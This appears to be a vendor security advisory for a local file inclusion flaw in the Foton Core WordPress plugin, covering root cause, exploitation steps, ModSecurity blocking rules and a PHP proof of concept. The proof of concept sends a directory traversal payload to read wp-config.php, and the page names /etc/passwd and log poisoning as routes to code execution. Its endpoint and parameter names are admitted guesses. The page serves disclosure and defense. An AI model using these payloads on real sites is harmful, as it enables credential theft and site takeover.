Opens in a new tab
Published : November 15, 2026

CVE-2026-66656: Foton Core <= 1.1.1 Unauthenticated Local File Inclusion PoC, Patch Analysis & Rule

Plugin foton-core
Severity High (CVSS 8.1)
CWE 98
Vulnerable Version 1.1.1
Patched Version —
Disclosed August 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66656 (metadata-based): The Foton Core plugin for WordPress versions up to and including 1.1.1 contains an unauthenticated Local File Inclusion (LFI) vulnerability. The CVSS score is 8.1 (High), reflecting a network attack vector, high attack complexity, no privileges required, no user interaction, and high confidentiality, integrity, and availability impact. The plugin is not available for download, so no source code diff was analyzed; all findings are inferred from the CWE classification and vulnerability description.

Root Cause: The CWE-98 classification (Improper Control of Filename for Include/Require Statement) indicates that user-supplied input reaches a PHP include or require statement without adequate validation, sanitization, or restriction. The description states unauthenticated attackers can include and execute arbitrary files, which implies the vulnerable code path is reachable without authentication, likely through a public-facing endpoint such as an AJAX action (wp_ajax_nopriv_*), a REST API route, or a direct plugin file. The parameter controlling the include path is not properly sanitized against directory traversal sequences (../) or absolute paths. Because the plugin version is unavailable, Atomic Edge research cannot confirm the exact parameter name or endpoint; the root cause is inferred from the CWE and the unauthenticated nature of the vulnerability.

Exploitation: An attacker sends a crafted HTTP request to a plugin endpoint that passes a file path parameter to an include statement. Common WordPress patterns for unauthenticated LFI include AJAX actions registered via wp_ajax_nopriv_ (e.g., action=foton_core_load_template) with a parameter like template, file, page, or view. The attacker supplies a path such as ../../../../wp-config.php or /etc/passwd. If the include statement executes PHP code, the attacker can achieve remote code execution by including a file containing PHP, such as an uploaded image with embedded PHP (if the plugin permits image uploads) or a log file with injected PHP. The CVSS vector indicates high attack complexity (AC:H), suggesting that exploitation may require specific environmental conditions or a non-default configuration, but the attack is still practical.

Remediation: The fix requires validating and sanitizing all user-supplied input that influences include/require paths. Recommended measures include using a whitelist of allowed file names or paths, resolving the real path and ensuring it remains within an expected base directory, and avoiding direct use of user input in include statements. The plugin should also enforce capability checks and nonce verification where applicable. Since no patched version is available, users should disable or remove the plugin until a fix is released.

Impact: Successful exploitation allows an unauthenticated attacker to include and execute arbitrary PHP files, leading to full remote code execution, bypass of access controls, and exposure of sensitive data (e.g., wp-config.php containing database credentials). The high impact on confidentiality, integrity, and availability reflects the potential for complete site compromise.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66656 (metadata-based)
# This rule blocks requests to admin-ajax.php with a guessed action and a directory traversal payload.
# Since the exact action and parameter are unknown, the rule uses common patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20266656,phase:2,deny,status:403,chain,msg:'CVE-2026-66656 Foton Core LFI via AJAX',severity:'CRITICAL',tag:'CVE-2026-66656'"
    SecRule ARGS_POST:action "@rx ^foton_core_" "chain"
        SecRule ARGS_POST:template "@rx ../|/etc/passwd|wp-config.php" "t:urlDecodeUni,t:lowercase"

# Alternative rule in case the parameter name differs: inspect all POST args for traversal patterns
# when the action matches foton_core_*. This is broader but still scoped to the plugin.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20266657,phase:2,deny,status:403,chain,msg:'CVE-2026-66656 Foton Core LFI attempt (generic)',severity:'CRITICAL',tag:'CVE-2026-66656'"
    SecRule ARGS_POST:action "@rx ^foton_core_" "chain"
        SecRule ARGS_POST "@rx ../" "t:urlDecodeUni"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66656 - Foton Core <= 1.1.1 - Unauthenticated Local File Inclusion

// This PoC attempts to exploit the LFI vulnerability by sending a crafted request to a likely
// vulnerable AJAX action. Since no source code is available, the action name and parameter
// are inferred from common WordPress plugin conventions. Adjust as needed.

$target_url = 'http://example.com'; // Set the target WordPress site URL

// Likely vulnerable endpoint: admin-ajax.php with an unauthenticated AJAX action.
// The action name is guessed from the plugin slug (foton-core) and common patterns.
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Payload: directory traversal to include a sensitive file (e.g., wp-config.php).
// Using ../../../../ to reach the WordPress root from typical plugin directories.
$payload = '../../../../wp-config.php';

// Build POST data. The action and parameter names are guessed: 'foton_core_load' and 'template'.
$post_data = [
    'action' => 'foton_core_load', // replace with actual action if known
    'template' => $payload,        // replace with actual parameter name
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // ignore SSL for testing

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
if ($response === false) {
    echo "Request failed: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response (first 500 chars):n" . substr($response, 0, 500) . "n";
    // If the response contains wp-config.php contents, the LFI is successful.
}

// Note: This is a best-effort PoC. The actual action and parameter may differ.
// Manual reconnaissance (e.g., reviewing plugin JavaScript or source if available) is recommended.

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.